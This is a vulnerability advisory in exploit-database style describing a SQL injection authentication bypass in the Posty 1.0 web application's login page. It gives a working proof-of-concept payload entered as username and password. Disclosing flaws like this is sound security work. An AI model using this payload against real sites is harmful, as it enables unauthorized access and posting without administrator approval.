Posty 1.0 SQL Injection

`# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #   
  
<!--   
# Exploit Title: Posty - SQL injection Authentication bypass   
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer  
# Dork: N/A  
# Date: 27.08.2017  
# Vendor Homepage: http://www.scubez.net/  
# Software Link: http://www.posty.in  
# Version: 1.0  
# Category: Webapps  
# Tested on: windows 7 / mozila firefox   
#   
#  
--!>  
  
# ========================================================  
#  
#  
# Posty SQL injection Authentication bypass   
#   
# Description : an attacker is able to inject malicious sql query to bypass the login page and login as normal user   
#   
# Proof of Concept : -   
#   
# http://localhost/login.php [ set username and password ] = PCS00442' or '1'='1  
# where PCS00442 is the user ID waiting for admin approval   
#   
#   
#  
# Risk : authenticated attacker maybe starting posting item in the site without administrator approvel for his / her account   
#  
#  
# ========================================================  
# [+] Disclaimer  
#  
# Permission is hereby granted for the redistribution of this advisory,  
# provided that it is not altered except by reformatting it, and that due  
# credit is given. Permission is explicitly given for insertion in  
# vulnerability databases and similar, provided that due credit is given to  
# the author. The author is not responsible for any misuse of the information contained   
# herein and prohibits any malicious use of all security related information  
# or exploits by the author or elsewhere.  
#  
#  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #   
`